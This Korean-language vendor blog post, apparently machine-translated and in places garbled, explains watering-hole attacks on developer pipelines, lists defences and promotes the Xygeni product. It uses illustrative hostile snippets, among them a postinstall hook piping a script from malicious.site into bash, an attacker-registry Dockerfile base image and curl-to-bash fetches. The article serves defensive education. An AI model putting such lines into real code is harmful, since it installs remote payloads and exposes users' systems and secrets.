워터링홀 공격 - 워터링홀 공격이란 무엇인가

개발자부터 공격 대상까지: 워터링 홀 공격은 어떻게 시스템에 침투하는가 Pipeline

뒷문을 만든 빌드

빌드가 통과되고 서비스가 배포됩니다. 모든 것이 정상처럼 보입니다. 하지만 그 이면에는 손상된 소스에서 가져온 악성 종속성이 숨겨져 있습니다. 이것이 바로 전형적인 워터링 홀 공격입니다.

이 시나리오에서 공격자는 여러분의 인프라에 직접 침입하지 않았습니다. 공격자는 개발자가 이미 침해해 놓은 신뢰할 수 있는 리소스, 즉 문서 사이트, 패키지 저장소 또는 SDK 다운로드 페이지를 방문하기를 기다렸습니다. 그렇게 악성 코드가 여러분의 시스템에 침투했습니다. pipeline 간단한 풀(pull) 또는 설치(install) 명령으로 가능합니다.

일단 제품이 출하되면 공격자는 생산 현장에 은밀한 발판을 마련하게 됩니다. 그리고 당신의 CI/CD pipeline 그들이 그곳에 도달하도록 도왔을 뿐입니다.

워터링 홀 공격이란 무엇이며, 개발자들이 왜 관심을 가져야 할까요?

그렇다면 워터링 홀 공격이란 무엇일까요? 공격자가 개발자나 팀이 이미 신뢰하는 리소스를 무단으로 손상시키는 공격 방식입니다. 공격자는 사용자를 직접 공격하는 대신, 사용자가 자주 이용하는 사이트나 저장소를 변조하여 누군가가 미끼를 물기를 기다립니다.

워터링 홀 공격은 일반적으로 자격 증명을 노리는 피싱 공격이나 패키지의 메인 저장소에 악성 코드를 삽입하는 업스트림 공급망 공격과는 다릅니다. 워터링 홀 공격은 백도어가 포함된 문서, 트로이 목마로 교체된 SDK 바이너리, 변조된 버전을 제공하는 패키지 레지스트리 등 주변 생태계에서 위협이 발생합니다.

개발 리소스는 주요 공격 대상입니다. 패키지 관리자(npm, pip, Maven), 공개 GitHub 저장소, 공식처럼 보이는 Docker 이미지, 다운로드 페이지 등이 여기에 해당합니다. 이러한 리소스 중 하나라도 손상되면 공격자는 이미 개발 흐름에 침투한 것입니다.

함정이 설치되는 곳: 개발자 중심의 실제 사례 워터링 홀 공격

워터링홀 공격은 여러 가지 형태로 나타납니다. 개발자를 속이는 몇 가지 방법을 소개합니다.

  • 문서 사이트가 손상되었습니다:
    'malicious-lib'에서 { init }를 가져옵니다.

init({ telemetry: 'https://attacker.com' });
문서에 있는 정상적인 예시가 미묘하게 변경되었습니다. 개발자들은 그걸 복사해서 붙여넣고 넘어갔죠.

  • 공개 PR에 포함된 악성 설치 후 스크립트:
{   "scripts": {     "postinstall": "curl -s https://malicious.site/agent.sh | bash"   } } 

유용한 홍보처럼 보이지만, 악성코드를 몰래 설치합니다.

  • 트로이목마에 감염된 SDK 바이너리:
    ./sdk-install.sh # 숨겨진 2단계 로더가 포함되어 있습니다.
    신뢰할 만해 보이는 URL에서 바이너리 파일이 다운로드되지만, 실제로는 변조된 파일입니다.
  • 조작된 Docker 기본 이미지:
    노드:slim-malicious에서
  • 런 배쉬 /tmp/hidden-installer.sh
    이미지 이름은 맞는 것 같지만, 해킹되거나 위조된 레지스트리에 호스팅되어 있습니다.

이러한 워터링 홀 공격은 모두 탐지를 피하기 위해 개발자의 신뢰와 빠른 워크플로에 의존합니다.

노트북에서 Pipeline감염 확산 방식

워터링홀 공격은 브라우저에서 멈추지 않습니다. 악성 코드가 로컬 환경에 침투하면이는 전체 배송망을 통해 조용히 이동할 수 있습니다.

  1. 개발자가 손상된 리소스(문서, 저장소, SDK 사이트)에 접속합니다.
  2. 악성 코드가 로컬 개발 환경에 침투했습니다.
  3. 감염된 파일이나 종속성이 추가됩니다. commit 그리고 밀었다.
  4. CI/CD 작업은 이러한 손상된 구성 요소를 사용하여 빌드 및 설치 단계를 실행합니다.
  5. 해당 아티팩트는 배송 및 배포되어 공격자의 코드가 운영 환경에 삽입됩니다.

이러한 연쇄 반응은 특히 속도가 빠른 팀에서 몇 시간 만에 전개될 수 있습니다.

이를 시각화하려면 다음을 상상해 보세요. pipeline 감염 경로를 추적하는 다이어그램:

  • 개발 워크스테이션편집기, 터미널, 설치 스크립트.
  • 소스 컨트롤: Commits, PR, 병합.
  • CI Pipeline종속성 설치, 스크립트 실행, 이미지 빌드.
  • 생산아티팩트 릴리스, 배포 및 사용자 액세스.

적절한 안전장치가 없으면, 물웅덩이 공격은 각 단계에서 눈에 띄지 않게 진행될 수 있습니다.

실제 위험 시나리오 CI/CD

워터링 홀 공격은 개발 환경에만 국한되지 않습니다. 이러한 공격은 사용자의 보안 취약점을 악용합니다. pipeline 당신에게 불리하게 작용할 수 있습니다. 실제 위험은 다음과 같습니다.

  • 손상된 기본 이미지:
    FROM attacker-registry.io/python:3.10-slim
    빌드 도중 숨겨진 악성코드가 추가되었습니다.
  • 고정되지 않은 스크립트 또는 도구 가져오기:
    curl -s https://pkg.example.com/latest.sh | bash
    "최신" 상태는 언제든지 변경될 수 있으며, 특히 DNS가 해킹당하는 경우에는 더욱 그렇습니다.
  • 감염된 CI 로그 (예):
    [+] 도구 설치 중…

[+] https://tools.fakecdn.net/bootstrap.sh 에서 가져오는 중

[+] 빌드가 완료되었습니다.

겉보기에는 모든 것이 괜찮아 보입니다. 하지만 페이로드는 이미 아티팩트 안에 있습니다.

물웅덩이 공격은 얼마나 많은 신뢰를 악용하는가 CI/CD 환경은 외부 소스와 스크립트에 배치됩니다.

속보 물웅덩이 공격 체인: 개발자 측 방어책

워터링 홀 공격을 조기에 차단하려면 개발 관행을 강화해야 합니다. 공격 예방은 코드가 배포되기 전에 시작되어야 합니다. CI/CD pipeline:

  • 핀 종속성: 플로팅 태그를 피하세요 최근빌드의 결정성을 보장하기 위해 잠금 파일을 사용하십시오.
  • 체크섬을 확인하세요원격 스크립트, 바이너리 및 패키지를 모두 검증합니다.
  • 개인 미러를 사용하세요손상된 상위 소스에 노출되는 것을 방지하기 위해 중요 패키지 레지스트리를 미러링합니다.
  • 기본 이미지를 확인하세요이미지 다이제스트를 사용하세요(@sha256태그 대신 )를 사용하세요. 사용하기 전에 모든 이미지를 스캔하세요.
  • 달리기 SCA/SAST 합병 전PR 워크플로우에 스캔 기능을 자동화하여 위협을 조기에 포착하세요.
  • Git을 사용하세요 hooks버전 관리 시스템에 반영되기 전에 위험도가 높은 변경 사항을 감지하고 차단합니다.
  • 치료 타사 코드 신뢰할 수 없는 입력과 같은 것널리 사용되는 라이브러리조차도 숨겨진 위험을 내포할 수 있습니다.

보안은 개발자 워크플로에 내재되어 있어야 합니다. 이러한 습관과 제어는 워터링 홀 공격이 확산되기 전에 차단하는 데 도움이 됩니다.

현장에서 얻은 교훈

사례 1: 이벤트 스트림(npm)

신뢰받던 패키지 관리자가 인기 패키지의 관리 권한을 넘겼습니다. 그런데 새 관리자가 패키지에 암호화폐 지갑 데이터를 몰래 빼돌리는 종속성을 추가했습니다.

  • 실패한 지점: 전이적 종속성에 대한 검토는 없습니다.
  • 교훈: 자동화 사용 SCA 간접 종속성의 변경 사항을 추적하고 표시합니다.

사례 2: Codecov Bash 업로더

공격자가 여러 CI 환경에서 사용되는 bash 스크립트를 변조했습니다. pipelines. CI 환경에서 비밀 정보를 유출했습니다.

  • 실패한 지점체크섬 유효성 검사를 하지 않습니다.
  • 교훈다운로드한 도구는 실행하기 전에 항상 검증해야 합니다. CI/CD.

두 사건 모두 물웅덩이를 습격하는 공격이었습니다. 두 사건 모두 더 일찍 막을 수 있었을 것입니다.

예방적 대응 실천: DevSecOps 사고방식 및 도구

워터링 홀 공격을 방지하려면 보안에 대한 인식을 갖춘 개발자 문화를 구축해야 합니다.

  • 보안을 왼쪽으로 이동개발자들이 예상치 못한 스크립트, 종속성 변경 또는 설치 단계에 대해 의문을 제기하도록 교육합니다.
  • Automate SCA/SAST: 사용 검색을 알려진 취약점과 위험한 패턴을 방지하기 위해 PR 워크플로에 통합됩니다.
  • 모든 곳에서 해시 유효성 검사를 사용하세요외부 리소스는 실행 전에 검증해야 합니다.
  • 실시간으로 모니터링예방만으로는 충분하지 않습니다.

같은 도구 제니 Xygeni는 전체 소프트웨어 공급망에 대한 실시간 가시성을 제공합니다. 개발자 환경, Git 활동, CI를 지속적으로 모니터링합니다. pipelines 및 아티팩트 레지스트리를 통해 다음을 감지합니다.

  • 비정상적인 의존성 변화.
  • 빌드 스크립트에서 의심스러운 수정 사항이 발견되었습니다.
  • 타사 소스에 대한 비정상적인 접근 패턴.

Xygeni를 사용하면 팀은 워터링 홀 공격으로 유입되는 위협이 확산되기 전에 차단할 수 있으며, 만약 공격이 침투에 성공하더라도 그 근원을 추적할 수 있습니다. 이 솔루션은 최신 시스템에 맞춰 특별히 설계되었습니다. CI/CD 실행 가능한 알림과 개발자 우선의 사용 편의성에 중점을 둔 환경을 제공합니다.

마지막으로: 빠른 Pipelines, 더 빠른 위험

이제 알았어. 워터링 홀 공격이란 무엇인가 아시다시피 그들은 직접 인프라를 침해할 필요가 없습니다. 개발자들이 이미 신뢰하는 도구와 사이트를 오염시키는 방식으로 성공합니다. 거기서부터, your CI/CD pipeline 공격자의 유통 시스템이 될 수 있습니다..

진정한 위험은 단순히 시스템 침해만이 아니라, 악성 코드가 시스템 전체에 얼마나 빠르게 퍼져나가는가에 있습니다. pipeline.

보안 검사는 개발 과정에 통합해야 하며, 나중에 추가하는 방식으로 처리해서는 안 됩니다. 일단 출시하고 나면 이미 너무 늦기 때문입니다.

sca-tools-software-composition-analysis-tools
소프트웨어 위험을 우선순위화하고, 해결하고, 보호하십시오.
무료 계정을 만드세요.
신용 카드가 필요하지 않습니다.

소프트웨어 개발 및 제공을 안전하게 보호하세요

Xygeni 제품군과 함께